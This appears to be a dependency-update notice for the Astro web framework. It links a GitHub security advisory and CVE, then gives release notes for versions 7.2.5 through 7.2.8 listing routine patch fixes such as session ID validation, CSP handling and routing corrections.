• https://github.com/withastro/astro/security/advisories/GHSA-376h-93r7-7g6f
• https://nvd.nist.gov/vuln/detail/CVE-2026-84376
• https://github.com/withastro/astro/pull/17701
• https://github.com/withastro/astro/commit/05763a0884aabb1da78a2749d5bb9d41ae620527
• https://github.com/withastro/astro/releases/tag/astro@7.2.4
• https://github.com/advisories/GHSA-376h-93r7-7g6f

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

withastro/astro (astro)

v7.2.8

Compare Source

Patch Changes

• #​17837 ecb4082 Thanks @​matthewp! - Updates the minimum supported version of Sharp to 0.35.4

• #​17786 db7c53b Thanks @​gameroman! - Replaces the internal find-process dependency with a smaller, lighter alternative

v7.2.7

Compare Source

Patch Changes

• #​17415 55d38c8 Thanks @​iseraph-dev! - Deserializes each route once when loading the SSR manifest

• #​17772 023b48b Thanks @​matthewp! - Fixes route selection for normalized request paths in adapter and development request handling

• #​17819 633855b Thanks @​matthewp! - Updates generated and default Cloudflare compatibility_date values to match the installed runtime and requires Wrangler ^4.125.0

• #​17813 ae26d18 Thanks @​matthewp! - Fixes rewrite() and next(payload) for GET and HEAD requests with host-provided bodies

• #​17816 a0d2fe3 Thanks @​astro-factory! - Fixes the experimental svgOptimizer not generating unique per-file ID prefixes when using SVGO's prefixIds plugin

v7.2.6

Compare Source

Patch Changes

• #​17812 29af6da Thanks @​matthewp! - Fixes a bug where new FetchState(request) could fail in development when server dependencies were optimized

v7.2.5

Compare Source

Patch Changes

• #​17758 5f419e2 Thanks @​astro-factory! - Fixes a bug where experimental_getFontFileURL() rejected valid font URLs when using the Cloudflare adapter

• #​17416 493796b Thanks @​iseraph-dev! - Skips no-op pathname writes when normalizing SSR request URLs

• #​17712 bd374b7 Thanks @​fkatsuhiro! - Updates deprecation messages target from Astro 7 to 8

• #​17719 dac1768 Thanks @​astrobot-houston! - Fixes session ID validation to reject non-UUID cookie values before using them as storage keys

• #​17770 84eb7e7 Thanks @​astro-factory! - Fixes --mode, --site, --base, --out-dir, --verbose, --silent, and --open flags being silently dropped when using astro dev --background or astro preview --background

• #​17713 d035290 Thanks @​wakqasahmed! - Fixes content-modules.mjs not removing entries for deleted or renamed content files, which could cause Vite to attempt to resolve non-existent modules

  As part of this fix, #moduleImports is now fully rebuilt from deferredRender entries before every write, so a module import added only through the public addModuleImport() API without a corresponding deferredRender entry in the store will no longer be preserved across writes.

• #​17743 adc750f Thanks @​contactjawad! - Fixes Astro.preferredLocale and Astro.preferredLocaleList ignoring Accept-Language quality values when they are absent or 0. An entry without an explicit q= now correctly counts as quality 1.0 (per RFC 7231) and an entry with q=0 is treated as not acceptable, so the highest-quality locale is selected regardless of header order.

• #​17757 660991c Thanks @​astro-factory! - Fixes build errors showing wrong file location, missing line:col, and misleading hints when a plugin error (e.g. from MDX) is wrapped by Vite's build error

• #​17783 60b14ff Thanks @​matthewp! - Fixes a type error when passing an image from a content collection image() schema to a component or <Image />. The schema returned by image() was missing the apng format, so it no longer matched the type of an imported image.

• #​17664 d483125 Thanks @​astrobot-houston! - Fixes an issue where Astro CSP support didn't correctly handle cases "unsafe-inline" resource. Now when "unsafe-inline", Astro won't emit hashes for the directive specified.

• #​17810 0fc5f65 Thanks @​florian-lefebvre! - Fixes a regression in the content collections that could cause images to not be resolved

• #​17781 aa33b44 Thanks @​matthewp! - Fixes memoryCache() storing responses that set cookies through Astro.cookies or Astro.session

• #​17787 6661fbe Thanks @​astro-factory! - Fixes server:defer crashing the dev server with "undefined is not a function" when a deferred component imports from astro:i18n

• #​17750 [dd0e3ac](https://redirect.github.com/withastro/astro/commit/dd0e3aca0b898307431120a5bc15416811901

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